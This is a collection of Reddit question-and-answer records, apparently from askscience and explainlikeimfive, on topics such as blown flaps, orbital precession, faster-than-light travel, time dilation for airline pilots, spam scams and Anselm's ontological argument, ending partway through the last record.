{"q_id": "mqk6m", "title": "Could the principles behind the dyson bladeless fan be applied to airplane wings?", "selftext": "This isn't just layman's speculation, I'm genuinely curious about this phenomenon and would greatly appreciate it if anyone knows more about it. \n\nI always thought it was interesting how the dyson bladless fan works. By using an impeller at the base, drawing air in and forcing it out through narrow slits along wing shaped disc, it creates a flow of moving air from an otherwise motionless surface.  \n\nBut this got me thinking, could airplane wings use the same feature?  I'm under the impression that lift is created by air moving at different velocities as it passes under and over a wing.  I imagine that an aircraft might be able to direct some of its thrust specifically over the wing, even by narrow slits all across the leading surface such as in the dyson fan.  \n\nThe design implications could be profound, such as an ability to maintain very slow flight.  Despite a low airspeed that would normally cause a stall, the actual speed of the air moving over the wing would be much higher.  I imagine it would operate something like the custer channel wing, (link: _URL_0_) but much more compact.  I swear I once saw a wikipedia page about a Navy aircraft that operated on a similar principle, but I can't seem to find it.  \n\nEDIT: I am aware that many airplanes use the Coand\u0103 effect by the placement of their engines, but I'm more interested in knowing whether this application has been taken to the extreme \n\nI also wonder what the potential drawbacks to such a design would be, as it clearly isn't a popularly implemented feature of modern day aircraft...but then again maybe most designers haven't put much thought into it.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mqk6m/could_the_principles_behind_the_dyson_bladeless/", "answers": {"a_id": ["c3326oq", "c3327gb", "c332le2", "c333vfp", "c33492r", "c334ac1", "c3326oq", "c3327gb", "c332le2", "c333vfp", "c33492r", "c334ac1"], "score": [5, 3, 26, 2, 2, 2, 5, 3, 26, 2, 2, 2], "text": ["Taking this to the extreme would mean that the engine exhausts in a thin slit over the entire wing, and the wing directs this jet downward for additional thrust. Routing exhaust this way would be very lossy (inefficient) and would be worse than useless at high speeds, where efficiency, rather than lift, is the primary concern. There has, however been a lot of research into using small jets to control the airflow around a wing.\n\nJust in case you don't this, the boundary layer is a thin (typically  < 1mm) layer of air around the skin of an aircraft in which viscous forces are important. In the frame of the aircraft, the fluid in the boundary layer is slowed down by viscosity over the entire chord of the wing. Pressure gradients push the boundary layer faster over the front part of the wing, then slow it down over the back part.  At a certain point of the back side of the wing, the boundary layer can not keep going in face of viscosity and the unfavorable pressure gradient, so the boundary separates from the wing. When this separation occurs a significant distance from the trailing edge, a large, turbulent region forms behind the separation point, reducing lift and increasing drag. This  is called stall.\n\nA lot of current research is focused on how to use small jets (because small jet=small energy cost) to control boundary layer behavior, with a goal of being able to achieve a higher lift coefficient with a given airfoil than is possible without the jets. If you want more information, try googling \"synthetic jet\" \"flow control\", and \"boundary layer separation.\" Also, [this wiki article](_URL_0_) has some references at the bottom you should check out. \n\n\n\n > maybe most designers haven't put much thought into it.\n\nBelieve me, designers have put lifetimes of thought into each aspect of each commercial or military plane that has ever entered service. Flow control faces the problem of being largely poorly-understood and of being new. New things take a while to get onto aircraft because of safety/regulatory concerns (and rightly so).", "They are called \"jet flaps\" or \"blown flaps.\" \nOne of the drawbacks would be, first and foremost, a big slit going along the leading edge of the entire wing would not be good for laminar flow when the device is not on. This trumps any benefits there may be at take-off and landing. \nIt seems the dyson fans don't generate enough circulation for the work the fan in the base does on the airflow when compared to a regular fan. \nThere are much more efficient ways of generating high lift. ", "I actually worked as a research assistant on something very similar to this for a summer during college.  [Here's a paper](_URL_1_) that describes some of the basic ideas behind the research.  I specifically worked on testing different configurations of jet geometries for a standard NACA airfoil (forget which one) and testing and optimization of a conceptual high efficiency vehicle design that took 2nd place in a NASA competition [here](_URL_0_).  The conceptual vehicle tested a bit poorly due to some unforeseen detrimental flow characteristics, however the basic airfoil saw increases in the L/D ratio of between 200-500% depending on the air speed, AOA, jet geometry, etc.  \n\nThe main areas that this would likely be used is for low speed flight, such as take off and landing, loitering, and other low speed applications.  It could drastically decrease TO and landing distances, which could help airports cut down on runway space, or help get exceptionally underpowered planes off the ground in a reasonable distance.  Also, it could reduce fuel usage during takeoff as most planes need to use max throttle to lift off before the end of the runway, which burns fuel much more quickly (planes will often use ~3.5% of their total fuel just during takeoff).  \n\nThe tech is really impressive in the lab setting, but like anything else, what will make or break the technology will be how successfully it can be integrated with an air vehicle system.  It adds complexity (read weight), and presents significant design challenges.  [Here](_URL_2_) is the website of professor I worked with, you can read some of the results, see some cool flow visualization pictures of the tech, and look into it further if you would like.  ", "How about as a boat propeller?", "As various posters have pointed out, there are a multitude of reasons this technology isn't practical for generating lift.\n\nHowever, helicopters have been using this technology for some time to replace their tail rotor.\n\n_URL_0_", "There is a fan with blades in the base of the Dyson unit.", "Taking this to the extreme would mean that the engine exhausts in a thin slit over the entire wing, and the wing directs this jet downward for additional thrust. Routing exhaust this way would be very lossy (inefficient) and would be worse than useless at high speeds, where efficiency, rather than lift, is the primary concern. There has, however been a lot of research into using small jets to control the airflow around a wing.\n\nJust in case you don't this, the boundary layer is a thin (typically  < 1mm) layer of air around the skin of an aircraft in which viscous forces are important. In the frame of the aircraft, the fluid in the boundary layer is slowed down by viscosity over the entire chord of the wing. Pressure gradients push the boundary layer faster over the front part of the wing, then slow it down over the back part.  At a certain point of the back side of the wing, the boundary layer can not keep going in face of viscosity and the unfavorable pressure gradient, so the boundary separates from the wing. When this separation occurs a significant distance from the trailing edge, a large, turbulent region forms behind the separation point, reducing lift and increasing drag. This  is called stall.\n\nA lot of current research is focused on how to use small jets (because small jet=small energy cost) to control boundary layer behavior, with a goal of being able to achieve a higher lift coefficient with a given airfoil than is possible without the jets. If you want more information, try googling \"synthetic jet\" \"flow control\", and \"boundary layer separation.\" Also, [this wiki article](_URL_0_) has some references at the bottom you should check out. \n\n\n\n > maybe most designers haven't put much thought into it.\n\nBelieve me, designers have put lifetimes of thought into each aspect of each commercial or military plane that has ever entered service. Flow control faces the problem of being largely poorly-understood and of being new. New things take a while to get onto aircraft because of safety/regulatory concerns (and rightly so).", "They are called \"jet flaps\" or \"blown flaps.\" \nOne of the drawbacks would be, first and foremost, a big slit going along the leading edge of the entire wing would not be good for laminar flow when the device is not on. This trumps any benefits there may be at take-off and landing. \nIt seems the dyson fans don't generate enough circulation for the work the fan in the base does on the airflow when compared to a regular fan. \nThere are much more efficient ways of generating high lift. ", "I actually worked as a research assistant on something very similar to this for a summer during college.  [Here's a paper](_URL_1_) that describes some of the basic ideas behind the research.  I specifically worked on testing different configurations of jet geometries for a standard NACA airfoil (forget which one) and testing and optimization of a conceptual high efficiency vehicle design that took 2nd place in a NASA competition [here](_URL_0_).  The conceptual vehicle tested a bit poorly due to some unforeseen detrimental flow characteristics, however the basic airfoil saw increases in the L/D ratio of between 200-500% depending on the air speed, AOA, jet geometry, etc.  \n\nThe main areas that this would likely be used is for low speed flight, such as take off and landing, loitering, and other low speed applications.  It could drastically decrease TO and landing distances, which could help airports cut down on runway space, or help get exceptionally underpowered planes off the ground in a reasonable distance.  Also, it could reduce fuel usage during takeoff as most planes need to use max throttle to lift off before the end of the runway, which burns fuel much more quickly (planes will often use ~3.5% of their total fuel just during takeoff).  \n\nThe tech is really impressive in the lab setting, but like anything else, what will make or break the technology will be how successfully it can be integrated with an air vehicle system.  It adds complexity (read weight), and presents significant design challenges.  [Here](_URL_2_) is the website of professor I worked with, you can read some of the results, see some cool flow visualization pictures of the tech, and look into it further if you would like.  ", "How about as a boat propeller?", "As various posters have pointed out, there are a multitude of reasons this technology isn't practical for generating lift.\n\nHowever, helicopters have been using this technology for some time to replace their tail rotor.\n\n_URL_0_", "There is a fan with blades in the base of the Dyson unit."]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=-Sn5JL9t_C4"], "answers_urls": [["http://en.wikipedia.org/wiki/Synthetic_jet"], [], ["http://www.miami.edu/index.php/news/releases/university_of_miami_wins_prize_in_nasa_futuristic_airplane_design_competition_/", "http://flowsci.com/publications/AIAA_2005_1260.pdf", "http://www7.miami.edu/ftp/acfdlab/CFJ_webpage/CFJ.html"], [], ["http://en.wikipedia.org/wiki/NOTAR"], [], ["http://en.wikipedia.org/wiki/Synthetic_jet"], [], ["http://www.miami.edu/index.php/news/releases/university_of_miami_wins_prize_in_nasa_futuristic_airplane_design_competition_/", "http://flowsci.com/publications/AIAA_2005_1260.pdf", "http://www7.miami.edu/ftp/acfdlab/CFJ_webpage/CFJ.html"], [], ["http://en.wikipedia.org/wiki/NOTAR"], []]}
{"q_id": "72tpm9", "title": "What causes Apsidal precession?", "selftext": "So whenever discussions about long term climate changes come up, [Milankovitch cycles](_URL_1_) are explained, often along with [this graph](_URL_0_) of insolation due to it (in black). This cycle is caused by changes in the eccentricity, axial tilt and precession of the earths orbit.\n\nHowever when I went digging into these, I didn't really understand what caused precession. In its [wikipedia article](_URL_2_) it says precession is caused by \"general relativity, stellar quadrupole moments, mutual star\u2013planet tidal deformations, and perturbations from other planets\".\n\nTwo of these I can sort of make a stab at - mutual tidal deformations - does this mean that (on average) the tidal bulges on orbiting bodies are preferentially exerting a persistent force in a particular direction relative to the orbit? But this can't be an accelleration or decelleration surely or orbits would be unstable, what kind of force causes precession? Is it a torque applied out of the plane of the orbit causing some sort of gyroscopic precession effect? My limited understanding of orbits is at the simple Kerbal Space program level of understanding Hohmann transfers and orbital rendezvous and the like.\n\nPerturbations from other planets - are these regular patterns in close approaches in the orbits of the planets that preferentially drag the orbits in a particular direction? How on earth are these calculated, and which planets have the most affect on earth - presumably Jupiter?\n\nThe other two I haven't the foggiest about - what is a \"stellar quadrupole moment\"? And how does general relativity cause precession?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/72tpm9/what_causes_apsidal_precession/", "answers": {"a_id": ["dnncg18"], "score": [2], "text": ["Precession is just the evolution of any one of the rotational behaviours of a planet (or star). This can be pretty much anything and there are different names for specific types of precession.  As such there are many causes due to there being many of them! \n\n & nbsp;\n\nMutual tidal deformations is basically being clear that tidal effects occur on both bodies and not just caused by 1 and felt on the other. Tidal deformations are subject to dissipation in the equilibrium and dynamic tides as well as from ohmic dissipation (through magnetic field interactions). This means that the bulge will tend to lag behind or be pushed ahead of the direct line between the two bodies. This then causes a transfer of angular momentum from one body to the other and hence the change in orbital parameters (eccentricity, semimajor axis, inclination, etc)\n\n & nbsp;\n\nPerturbations from other planets is gravitational (and magnetic) interactions of planets which are felt stronger the closer they are. It is often referred to as planet-planet scattering. As far as I am aware Jupiter does indeed have the largest impact to the earth in terms of other planets.\n\n & nbsp;\n\nstellar quadrupole moment - is basically describing shape. This one describes the shape of a sphere with 2 tidal bulges. To learn more about this you need to explore spherical harmonics.\nI have no idea about relativity! I hope some of this helps I dont think I have been super explicit answering your questions"]}, "title_urls": [], "selftext_urls": ["https://upload.wikimedia.org/wikipedia/commons/5/53/MilankovitchCyclesOrbitandCores.png", "https://en.wikipedia.org/wiki/Milankovitch_cycles", "https://en.wikipedia.org/wiki/Apsidal_precession"], "answers_urls": [[]]}
{"q_id": "36ml81", "title": "what prevents ftl travel?", "selftext": "It would take an infinite amount of energy to accelerate a particle to the speed of light, yet we can accelerate particles in a vacuum to just under the speed of light. What prevents the particle from traveling faster?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36ml81/eli5_what_prevents_ftl_travel/", "answers": {"a_id": ["crf7u3c", "crf81yr", "crf9o3g"], "score": [3, 76, 2], "text": ["Simply said, the closer you get to the speed of light, the more energy you need to expend to get a further increase of speed.\n\nTo reach it requires infinite energy.", "As you said, we can accelerate a tiny minuscule particle to just under the speed of light.. By pumping metric fucktons of energy into it.\n\nBut as to what prevents traveling faster than the speed of light? \n\nFor that i will link, and quote this wonderful explanation that is found in the FAQ of /r/askscience\n\n_URL_0_\n\n/u/RobotRollCall explains:\n\nThere are a lot of simple, intuitive explanations of this to be had out there \u2026 but I kind of hate them all. You might google around a bit and find discussion of something called \"relativistic mass,\" and how it requires more force to accelerate an object that's already moving at a high velocity, stuff like that. That's a venerable way of interpreting the mathematics of special relativity, but I find it unnecessarily misleading, and confusing to the student who's just dipping her first toe into the ocean of modern physics. It makes the universe sound like a much different, and much less wonderful, place than it really is, and for that I kind of resent it.\n\nWhen I talk about this subject, I do it in terms of the geometric interpretation that's consistent with general relativity. It's less straightforward, but it doesn't involve anything fundamentally more difficult than arrows on pieces of paper, and I think it offers a much better understanding of the universe we live in than hiding behind abstractions like \"force\" and outright falsehoods like \"relativistic mass.\" Maybe it'll work for you, maybe it won't, but here it is in any case.\n\nFirst, let's talk about directions, just to get ourselves oriented. \"Downward\" is a direction. It's defined as the direction in which things fall when you drop them. \"Upward\" is also a direction; it's the opposite of downward. If you have a compass handy, we can define additional directions: northward, southward, eastward and westward. These directions are all defined in terms of something \u2014 something that we in the business would call an \"orthonormal basis\" \u2014 but let's forget that right now. Let's pretend these six directions are absolute, because for what we're about to do, they might as well be.\n\nI'm going to ask you now to imagine two more directions: futureward and pastward. You can't point in those directions, obviously, but it shouldn't be too hard for you to understand them intuitively. Futureward is the direction in which tomorrow lies; pastward is the direction in which yesterday lies.\n\nThese eight directions together \u2014 upward, downward, northward, southward, eastward, westward, pastward, futureward \u2014 describe the fundamental geometry of the universe. Each pair of directions we can call a \"dimension,\" so the universe we live in is four-dimensional. Another term for this four-dimensional way of thinking about the universe is \"spacetime.\" I'll try to avoid using that word whenever necessary, but if I slip up, just remember that in this context \"spacetime\" basically means \"the universe.\"\n\nSo that's the stage. Now let's consider the players.\n\nYou, sitting there right now, are in motion. It doesn't feel like you're moving. It feels like you're at rest. But that's only because everything around you is also in motion. No, I'm not talking about the fact that the Earth is spinning or that our sun is moving through the galaxy and dragging us along with it. Those things are true, but we're ignoring that kind of stuff right now. The motion I'm referring to is motion in the futureward direction.\n\nImagine you're in a train car, and the shades are pulled over the windows. You can't see outside, and let's further imagine (just for sake of argument) that the rails are so flawless and the wheels so perfect that you can't feel it at all when the train is in motion. So just sitting there, you can't tell whether you're moving or not. If you looked out the window you could tell \u2014 you'd either see the landscape sitting still, or rolling past you. But with the shades drawn over the windows, that's not an option, so you really just can't tell whether or not you're in motion.\n\nBut there is one way to know, conclusively, whether you're moving. That's just to sit there patiently and wait. If the train's sitting at the station, nothing will happen. But if it's moving, then sooner or later you're going to arrive at the next station.\n\nIn this metaphor, the train car is everything that you can see around you in the universe \u2014 your house, your pet hedgehog Jeremy, the most distant stars in the sky, all of it. And the \"next station\" is tomorrow.\n\nJust sitting there, it doesn't feel like you're moving. It feels like you're sitting still. But if you sit there and do nothing, you will inevitably arrive at tomorrow.\n\nThat's what it means to be in motion in the futureward direction. You, and everything around you, is currently moving in the futureward direction, toward tomorrow. You can't feel it, but if you just sit and wait for a bit, you'll know that it's true.\n\nSo far, I think this has all been pretty easy to visualize. A little challenging maybe; it might not be intuitive to think of time as a direction and yourself as moving through it. But I don't think any of this has been too difficult so far.\n\nWell, that's about to change. Because I'm going to have to ask you to exercise your imagination a bit from this point on.\n\nImagine you're driving in your car when something terrible happens: the brakes fail. By a bizarre coincidence, at the exact same moment your throttle and gearshift lever both get stuck. You can neither speed up nor slow down. The only thing that works is the steering wheel. You can turn, changing your direction, but you can't change your speed at all.\n\nOf course, the first thing you do is turn toward the softest thing you can see in an effort to stop the car. But let's ignore that right now. Let's just focus on the peculiar characteristics of your malfunctioning car. You can change your direction, but you cannot change your speed.\n\nThat's how it is to move through our universe. You've got a steering wheel, but no throttle. When you sit there at apparent rest, you're really careening toward the future at top speed. But when you get up to put the kettle on, you change your direction of motion through spacetime, but not your speed of motion through spacetime. So as you move through space a bit more quickly, you find yourself moving through time a bit more slowly.\n\nYou can visualize this by imagining a pair of axes drawn on a sheet of paper. The axis that runs up and down is the time axis, and the upward direction points toward the future. The horizontal axis represents space. We're only considering one dimension of space, because a piece of paper only has two dimensions total and we're all out, but just bear in mind that the basic idea applies to all three dimensions of space.\n\nDraw an arrow starting at the origin, where the axes cross, pointing upward along the vertical axis. It doesn't matter how long the arrow is; just know that it can be only one length. This arrow, which right now points toward the future, represents a quantity physicists call four-velocity. It's your velocity through spacetime. Right now, it shows you not moving in space at all, so it's pointing straight in the futureward direction.\n\nIf you want to move through space \u2014 say, to the right along the horizontal axis \u2014 you need to change your four-velocity to include some horizontal component. That is, you need to rotate the arrow. But as you do, notice that the arrow now points less in the futureward direction \u2014 upward along the vertical axis \u2014 than it did before. You're now moving through space, as evidenced by the fact that your four-velocity now has a space component, but you have to give up some of your motion toward the future, since the four-velocity arrow can only rotate and never stretch or shrink.\n\nThis is the origin of the famous \"time dilation\" effect everybody talks about when they discuss special relativity. If you're moving through space, then you're not moving through time as fast as you would be if you were sitting still. Your clock will tick slower than the clock of a person who isn't moving.\n\nThis also explains why the phrase \"faster than light\" has no meaning in our universe. See, what happens if you want to move through space as fast as possible? Well, obviously you rotate the arrow \u2014 your four-velocity \u2014 until it points straight along the horizontal axis. But wait. The arrow cannot stretch, remember. It can only rotate. So you've increased your velocity through space as far as it can go. There's no way to go faster through space. There's no rotation you can apply to that arrow to make it point more in the horizontal direction. It's pointing as horizontally as it can. It isn't even really meaningful to think about something as being \"more horizontal than horizontal.\" Viewed in this light, the whole idea seems rather silly. Either the arrow points straight to the right or it doesn't, and once it does, it can't be made to point any straighter. It's as straight as it can ever be.\n\nThat's why nothing in our universe can go faster than light. Because the phrase \"faster than light,\" in our universe, is exactly equivalent to the phrase \"straighter than straight,\" or \"more horizontal than horizontal.\" It doesn't mean anything.\n\nNow, there are some mysteries here. Why can four-velocity vectors only rotate, and never stretch or shrink? There is an answer to that question, and it has to do with the invariance of the speed of light. But I've rambled on quite enough here, and so I think we'll save that for another time. For right now, if you just believe that four-velocities can never stretch or shrink because that's just the way it is, then you'll only be slightly less informed on the subject than the most brilliant physicists who've ever lived.", " >  What prevents the particle from traveling faster?\n\n >  It would take an infinite amount of energy to accelerate a particle to the speed of light\n\nWhat about this is not clear?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/askscience/wiki/physics/exceed_speedoflight"], []]}
{"q_id": "5wehyy", "title": "how did people from the 16th to 19th century protect their valuables?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5wehyy/eli5_how_did_people_from_the_16th_to_19th_century/", "answers": {"a_id": ["de9j3v5", "de9ow19"], "score": [2, 3], "text": ["You have heard of people keeping their life's savings under the mattress?\n\nIt wasn't far from that.  You'd either hid them, or keep them close.  If you happened to live in an urban area, you might have access to a bank.  Other times tradesman, like goldsmiths, would keep values secure on the behalf of others.\n\nAlso note that people didn't have a lot of valuable, and what they did have was fairly portable.  A single gold coin could represent a month of skilled labor...your life's savings could easily fit into a small purse.", "Locks date back at least to the Egyptians. Strongboxes date to at least the 16th century. They'd lock their stuff up like we do today. The lack of metal safes was ameliorated by the lack of power saws."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "j51qy", "title": "If time slows the closer to the speed of light someone travels, what is the effect on an airline pilot over the course of their career?", "selftext": "Of course, we'll have to do some assumptions her, and I'll start.\n\n1. The pilot has a 50 year career.\n1. The average speed of the pilot over their career will be 300MPH.\n\nAny more assumptions and I'll edit them in with an asterisk.\n\n*And please show the reasoning behind it, so that I can further understand the concepts.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/j51qy/if_time_slows_the_closer_to_the_speed_of_light/", "answers": {"a_id": ["c299yyk", "c29a32e", "c297dc5", "c297dly", "c297rk4", "c297u31", "c2986q1", "c299yyk", "c29a32e"], "score": [2, 2, 42, 28, 4, 227, 25, 2, 2], "text": ["jxf laid out a good explanation. However, as soon as I read your question, I remembered reading something by Stephen Hawking...\n\n > You would have to fly around the world four hundred million times to add one second to your life; but your life would be reduced by more than that by all those airline meals.\n\n     -Stephen William Hawking, Black Holes and \n     Baby Universes and Other Essays (1993)", "Look at this [Lorentz factor curve](_URL_0_). You will see that at slow speeds, time dilation is very small. Even at half the speed of light the amount of time dilation is still pretty tiny. It's not until you get up to around 80% the speed of light that things begin to take off.", "On the order of microseconds.", "Your feet age at a slightly different rate than your head. ", "Now, I'm no expert, but I like to read.  So yeah, the speed of light (unreachable of course) is roughly 186,282.397 miles per *second*.  Traveling for insignificant distances at a time at a rate of only 300 miles per *hour*.  \n\nMeh.  Infinitesimal.\n\nMy understanding is that, even in the theoretical experiments, it's after the \"trip\" is over that the travelers realize that much more time has passed for the people not traveling near the speed of light.\n\nHope this helps? A little? Maybe?", "Since you asked for a step-by-step approach with actual numbers, I'll try to break this down a bit.\n\nThe easiest thought experiment here is to imagine a laser-clock that is defined by two mirrors `A` and `B`, separated by a distance L:\n\n    mirror A   mirror B\n       |         |\n       |--------\u00bb|\n       |\u00ab--------|\n       |         |\n       |(---L---)|  # mirrors separated by distance L\n\nThe clock ticks once every time a laser pulse leaves A, hits B, and returns to A. From the point of view of someone watching the clock when it is at rest relative to them, how long does it take the clock to tick once?\n\nBefore we answer that, let's answer a slightly simpler question. You roll a ball towards a wall that is 10 meters away at 4 m/s. The ball bounces off the wall and rolls straight back towards you. How long does it take the ball to return?\n\nWell, if the wall is 10 meters away, then the ball traveled a total distance of 20 meters. And if the ball travels at 4 m/s, then that means it took **5 seconds**, since `20 m / 4 m/s = 5 s`. In other words, we can use the simple kinematics expression of \n\n    distance / speed = time\n\nto decide the answer. Likewise, with our mirror clock, the light pulse travels at `c`, and the distance is `L`, so the stationary observer measures the clock's period as\n\n    t_0 = 2 L/c\n\nA moving observer, however, sees something different. This time, the observer moves at a speed `v` parallel to the observer's frame of reference.\n\n        mirror A   mirror B\n           |         |\n         X |--       |\n           |  --     |\n           |    --   |\n           |      --\u00bb|\n         W |(---L---)| Y\n           |       --|\n           |     --  |\n           |   --    |\n         Z |\u00ab--      |\n           |         |\n\nThis time, the light traced a longer path, from `X` to `Y` to `Z`. Clearly, this is a longer route than `2L`. What is the total distance it traveled?\n\nWell, we see that `X`, `Y`, and `Z` form a triangle. Let's call the distance `XY` (which is the same as the distance `YZ`) `h`. Notice that `h` is the hypotenuse of the right triangle `XWY`. Now `h` is easy to calculate. It's just:\n\n    h^2 = XY^2 =      WY^2 + XW^2\n    h^2 = XY^2 =      L^2  + XW^2\n    h          = sqrt[L^2  + XW^2]\n\nSo, similar to before, the light takes `t' = 2 h/c` for a moving observer. But what's XW^2 ? Well, if we moved with speed `v`, then this is `1/2 * v * t'` -- half the distance covered by our movement at speed `v`. So we can express `h` as\n\n    h = sqrt[L^2 + (1/2 * v * t')^2]\n\nIf we substitute this into `t' = 2 h/c` and solve for `t'`, then we get the time dilation equation, which is \n\n                 t_0\n    t' = --------------------\n          sqrt(1 - v^2 / c^2)\n\nSince the denominator here is a number that will be less than 1 for `v  >  0`, a moving observer will observe that the clock ticks more slowly relative to the stationary observer's measurements.\n\nNow, onto actual numbers. Let's pick some nice round numbers so the math will be easier. Also, by picking extremely generous numbers we'll wind up with an convenient upper bound.\n\nSo, to be extremely generous, let's say you're a spaceship pilot who travels at a constant 250 m/s for 50 years. Relative to a stationary observer, how much time has passed? Let's crunch the numbers:\n\n    t' = t_0 / sqrt[1 - v^2 / c^2]\n    t' = (50 years) / sqrt[1 - (250 m/s)^2/(300,000,000 m/s)^2]\n\nRight away, we can see that 250 m/s divided by the speed of light is not a very big fraction, and so will not have a very big impact on the difference in time the two references measure. Let's keep going:\n\n    t' = (50 years) / sqrt[1 - 6.944 \u00d7 10^-13]\n    t' = (50 years) / 0.999999999999652777...\n    t' = 50 years + ~5 \u00d7 10^-4 seconds\n\nIn other words, a stationary observer would measure about **an extra 500 microseconds** of time relative to your own clock if all you did was travel at airplane speeds for five decades. To put that in perspective, 3,000 microseconds is roughly the time it takes for a housefly to flap its wings once. Sorry! Relativity's a bummer sometimes.\n\n-----\n\nPerhaps a more satisfying answer to the question would come if we reworded it a bit. What if we wanted to know how fast you need to go before there was an appreciably large difference in times measured? Let's say that we want to have a time difference of at least one year. How fast would our pilot need to travel?\n\n     51 years = 50 years / sqrt[1 - v^2/c^2]\n\nRearranging this equation and solving for v gives us\n\n     v = ~59,000,000 m/s, or about 0.0002 c\n\nThe fastest rocketships we have can go about 15,000 m/s, so if you had one that was about 4,000 times faster, you would be able to gain an extra year after traveling for 50 years.", "Your question has been answer pretty well so I'll just add this in. The current record for time dilation is held by [Sergei Avdeyev](_URL_0_), a Russian cosmonaut, who spent 747 days abord the Mir space station orbiting the earth at 27 360 km/h. Much faster than an airplane can fly. After all that he's still only experienced 20 milliseconds of time dilation.", "jxf laid out a good explanation. However, as soon as I read your question, I remembered reading something by Stephen Hawking...\n\n > You would have to fly around the world four hundred million times to add one second to your life; but your life would be reduced by more than that by all those airline meals.\n\n     -Stephen William Hawking, Black Holes and \n     Baby Universes and Other Essays (1993)", "Look at this [Lorentz factor curve](_URL_0_). You will see that at slow speeds, time dilation is very small. Even at half the speed of light the amount of time dilation is still pretty tiny. It's not until you get up to around 80% the speed of light that things begin to take off."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/File:Time_dilation.svg"], [], [], [], [], ["http://en.wikipedia.org/wiki/Sergei_Avdeyev"], [], ["http://en.wikipedia.org/wiki/File:Time_dilation.svg"]]}
{"q_id": "3du2xp", "title": "if people are wired for survival, why is it fun to live reckless (skydiving, motorcycles, surfing, rollercoasters, etc)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3du2xp/eli5_if_people_are_wired_for_survival_why_is_it/", "answers": {"a_id": ["ct8mjem", "ct8su0w", "ct8yjk5"], "score": [30, 2, 6], "text": ["Adrenaline. It's like cocaine. But cocaine your body makes. It makes your blood rush and fills you with happy feel good chemicals.  So you jump out of that plane again and again.", "Humans are an oxymoronic people. We value safety/security but we are also risk takers. \n\nWhy do you think ancient people got on a raft and set out onto the ocean just to reach land they can't see (those islands off the South American coasts for example. ", "The Darwin Awards was a good movie on this subject. The gist of it is that risk takers produce societal benefits, so evolution produces people that range from extremely harm-avoidant to extremely reckless. We needed people who were willing to fight neighboring tribes, and hunt dangerous game. Today, we need people who are willing to gamble their future on a risky product, or start a new company. Ultimately, never taking risks is the biggest risk of all.\n\nSome of the modern applications of this evolutionary hardware may not be exactly the use they were intended for. Evolution doesn't always hit the target cleanly, especially in a world that's radically different from the pre-historic world that produced these psychological incentives. So when someone dies going 100 MPH on a motorcycle with no helmet, it is exactly what people say it is: natural selection."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "fn6lgb", "title": "how do spammers profit from spamming with bots,like chat invites?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fn6lgb/eli5_how_do_spammers_profit_from_spamming_with/", "answers": {"a_id": ["fl7u2kz", "fl7u8p5"], "score": [3, 8], "text": ["It's not the invites themselves. They get alot of people in a chat and send ads for scams to them which makes them money.", "If there is some underlying scam (e.g. Nigerian princes promising fortunes), probability suggests *someone*, *somewhere* will bite. Since the cost of mass-messaging is very low, it's not hard to imagine that if, say, one email/chat link out of a million results in you swindling someone, you can adjust the amount you try to steal appropriately such that the expected return on that single success is profitable.\n\nThere are also some savvy strategies that exploit ad revenue mechanisms, especially in adult messaging spam -- take a bunch of photos that aren't yours, make fake websites using them, start fishing for people to chat with, direct them to the websites for \"premium access\" or something similar. Get enough traffic, use ad space, make some residual income. Or, more like the typical \"send me money\" scams, catfish someone and just keep sending them porn of some random person. And while you're at it, automate the whole thing with some programming."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "18iczq", "title": "anselm's ontological argument.", "selftext": "I've been reading his argument over and over. I simply cannot understand it. I have a philosophy exam coming up and I'm fairly certain this will come up.\n\n1.Our understanding of God is a being than which no greater can be conceived.\n\n2.The idea of God exists in the mind.\n\n3.A being which exists both in the mind and in reality is greater than a being that exists only in the mind.\n\n4.If God only exists in the mind, then we can conceive of a greater being\u2014that which exists in reality.\n\n5.We cannot be imagining something that is greater than God.\n\n6.Therefore, God exists.\n\nEveryone I know seems to understand it. I sadly cannot.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18iczq/eli5_anselms_ontological_argument/", "answers": {"a_id": ["c8f26k0", "c8f28zj", "c8f2b5a", "c8f2cbe", "c8f2dkv", "c8f2kke", "c8f2vz1", "c8f317t", "c8f3ec5", "c8f3fq4", "c8f4vhe", "c8f5dez", "c8f6kx1", "c8fo09k"], "score": [10, 29, 9, 2, 3, 4, 25, 45, 2, 2, 4, 7, 2, 2], "text": ["You should try reading it backwards, it's a little more clear (but not less flawed) then.\n\n >  5.We cannot be imagining something that is greater than God.\n\nThis is the axiom upon which rests the argument. God is the greatest entity/thing/beeing/whatever. From there you postulate that virtual things (things you can only think of) are inferiour to real things (things that you can experience AND think of).\n\n >  3.A being which exists both in the mind and in reality is greater than a being that exists only in the mind.\n\nBut since a god that doesn't exist in reality be inferior to every human (because you can experience humans AND think of them, but can only think of a virtual god)\n\n >  4.If God only exists in the mind, then we can conceive of a greater being\u2014that which exists in reality.\n\nwe have a contradiction to the axiom that god is the greatest, profing the existence of god.\n\n\nNote that the argument is inherently flawed by deriving the existence of something of it's property (which it can only posess if existing, let alone from the fact that \"greatest\" is a difficult property to measure).", "For relatability's sake, let's replace god with chocolate and see how it goes:\n\n**Statement 1**: Let's say you take it as a fact that chocolate is the best thing in the world, and everything else is inferior to it.\n\n**Statement 2**: You also take it as a fact that just having a mental thought about chocolate in your mind is inferior to having real actual chocolate in your hand.\n\nIt now follows that the chocolate MUST be present in your hand, since if it were only in your mind, according to **2**, it becomes something inferior, thereby contradicting **1** which says chocolate is inferior to nothing.\n\n(Loosely sourced from [The Philosophy Book](_URL_0_))", "#4 is the core of the matter. It's a way of saying \"you're wrong\" to anyone who says God is 